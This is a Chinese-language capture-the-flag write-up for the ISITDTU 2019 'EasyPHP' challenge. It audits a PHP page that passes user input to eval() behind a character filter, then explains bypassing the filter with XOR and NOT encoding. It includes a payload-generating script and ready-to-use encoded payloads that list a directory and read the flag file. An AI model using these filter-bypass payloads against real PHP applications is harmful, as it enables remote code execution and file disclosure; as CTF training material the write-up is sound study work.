[ISITDTU 2019]EasyPHP
一上来就给了源码
<?php highlight_file(__FILE__); $_ = @$_GET['_']; if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) ) die('rosé will not do it'); if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd ) die('you are so close, omg'); eval($_); ?>
简单审计了下
这里只需要绕过两个if就能够命令执行了
先看一下第一个个if
是一个正则匹配
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
这里\x00- 0-9 匹配\x00到空格(\x20),0-9的数字
'"`$&.,|[{_defgops 匹配这些字符
\x7F 匹配del字符
所以排除掉这些字符,我们可以用的字符有
!#%()*+-/:;<=>?@ABCHIJKLMNQRTUVWXYZ\]^abchijklmnqrtuvwxyz}~
第二个if
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
当mode为3时,可以来测试一下
所以这句话的意思就是所使用的字符种类不能超过13种
可以从第一个if发现没有过滤掉~和^
就可以用异或绕过或者反编码绕过
<?php #用不可见字符异或 $l = ""; $r = ""; //$argv = str_split("_GET"); $argv = str_split("phpinfo"); for($i=0;$i<count($argv);$i++) { for($j=0;$j<255;$j++) { $k = chr($j)^chr(255); if($k == $argv[$i]){ if($j<16){ $l .= "%ff"; $r .= "%0" . dechex($j); continue; } $l .= "%ff"; $r .= "%" . dechex($j); continue; } } } echo "(".$l."^".$r.")"; #{%ff%ff%ff%ff^%a0%b8%ba%ab} =_GET #?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo ?>
命令成功执行了
可以在phpinfo里面看到
基本上能够使用的函数的都被禁了
这里还可以使用print_r(scandir(.))来查看文件夹
但是直接异或出来的payload不能够直接使用
因为超过了十三种字符
解决思路是在这16个不重复字符里删减一些,删减的字符用其他字符异或来表示。
主要是和%ff异或的那些字符串。其他都是固定的。
用的是a^b^c=d
,把a^b^c
替换原来的d,再和%ff异或。
即原来的d^%ff = a^b^c^%ff
最后得出了
((%ff%ff%ff%ff%ff%ff%ff)^(%8b%9c%9b%8b%8b%8b%9c)^(%8b%8f%9c%8b%9b%8b%8f)^(%8f%9e%91%91%9b%a0%9e))(((%8b%8b%8b%8b%8b%9b%9c)^(%9b%8b%8b%8b%8b%9c%8f)^(%9c%9c%9e%91%9b%91%9e)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));
可以看出flag就在后面的这个txt中
因为这个文件名太长了,可能会报错,而且又在数组的最后一个
所以使用readfile(end(scandir(.)))
再构建出获取flag的payload
((%8d%8d%8d%8d%8d%8d%9e%8d)^(%9a%8d%8d%8d%8d%8d%9b%8d)^(%9a%9a%9e%9b%99%96%96%9a)^(%ff%ff%ff%ff%ff%ff%ff%ff))(((%8d%9e%8d)^(%8d%99%8d)^(%9a%96%9b)^(%ff%ff%ff))(((%8d%9e%8d%9e%8d%8d%8d)^(%9a%9b%8d%99%8d%8d%9a)^(%9b%99%9e%96%9b%96%9a)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));
替换脚本是网上找的,我就不贴上来了